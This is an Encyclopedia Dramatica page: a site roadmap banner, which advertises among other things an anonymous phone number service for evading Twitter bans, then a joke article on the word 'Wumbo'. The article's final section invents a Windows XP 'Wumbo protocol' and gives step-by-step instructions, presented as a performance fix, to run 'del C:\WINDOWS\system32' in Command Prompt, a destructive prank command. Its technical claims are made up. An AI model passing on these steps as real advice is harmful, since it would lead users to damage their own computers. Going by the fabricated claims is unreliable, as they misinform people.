⚠️ Encyclopedia Dramatica is currently being restored by automated scripts ⚠️

There's been a lot of questions as to what's going on with the site and what comes next. So we have this (ordered) roadmap of what's being worked on and what's to come. This will be updated until the roadmap is complete as Æ has a lot of missing features and ideas that I'd like to fix in regards to its offerings before I implement big plans for the site's popularity and well-being in 2021.

Æ Roadmap

  • Content restoration (Mostly done, few things missing that will be restored sporadically)
  • Image restoration (Being run in background, nothing I can do cept wait)
  • Æ Imageboard (Currently being worked on)
  • Mediawiki upgrade and backend fixes
  • .onion domain for Tor-friendly editing and viewing
  • CSS overhaul (Fixing things like the videos on mobile, and overall a rehaul of the wiki's look to be more friendly to readers)
  • Paid bounty board for new articles (Won't be managed by me for legal reasons however I will ensure it runs smoothly)
  • Anonymous phone # service for those seeking ban evades from Twitter as well as a phone number not tied to their name (more details at launch)

  • Currently we are nearing our annual LLC renewal fee ($650) as well throwing the funds required for these other changes and aspects. If you would like to support Æ consider purchasing a copy of The Hustler's Bible or securing some Merch. Donating is also appreciated however I would rather give something back as per the two options above.

    If you have any questions you can join our public Telegram chat to DM me privately or @ me in chat.

    You can also email me via [email protected]

    Merch notes: Thank you to all who have purchased merch. We will ship late January or mid February depending on our provider's speed.

    Here's to setting the world on fire in 2021! - aediot



    Wumbo

    From Encyclopedia Dramatica
    Jump to navigation Jump to search

    Wumbo is known as an antonym of miniature. To be wumbo is to be large. Wumbo is an adjective, meaning to describe something. Correct usage of wumbo would be i.e. I wumbo; You wumbo; He/She/Me wumbo. Some suffixes would be wumboed and wumboing. Wumbology is the study of wumbo. <video type="youtube" id="gx85OoHqRcU" width="200" height="180" position="right"/>

    Word Roots

    The words roots, surprisingly, aren’t Greek or Latin. It actually comes from the English slang “Jumbo”. The “W” is conveniently replaced for the “J” because of the “W”s similarity with capital “M”. The “M”, of course, standing for mini or miniature.


       
     
    It's like... a pun, or something.

    Wumbo Compatible Programs

    During development, Windows XP was designed to run most programs under Wumbo protocols, which used physical RAM to take load off of the hard disk and CPU. The test protocols were called Wumbo as a joke referring to the large amount of RAM necessary to effectively use the protocols. However, when Windows XP was released, common computers did not have nearly enough RAM to run programs under Wumbo, and so XP was never fit with an option to turn Wumbo on or off. The protocol is still installed by default on XP machines, it just has to be enabled by hand.

    The easiest way to enable Wumbo is to set the system32 folder to delicate (as seen in the command below,) which will keep your computer from accessing the folder too often, as to avoid corrupting any files contained within. As system32 is accessed almost constantly, a copy will automatically be made onto your physical RAM, and if you have enough (over 512mb) your computer will enable Wumbo to cover any performance problems. Any machine with over 1 GB of RAM will see great increases in performance due to the enabling of the Wumbo protocol.

    Follow these instructions to enable Wumbo.

    1. Close out all programs, and open the most intensive one (whether it be a game, or photoshop, or a media player).
    2. Time how long it takes the program to open, so that you can see the results of Wumbo on paper.
    3. Close out your program.
    4. Open Start> Run> cmd
    5. In the black box, known as Command Prompt, type the following
    
    echo off
    del C:\WINDOWS\system32
    
    6. Press enter.
    7. Time how long it takes to open the program from step 1.
    8. Compare the results.
    9. Enjoy your faster computer!
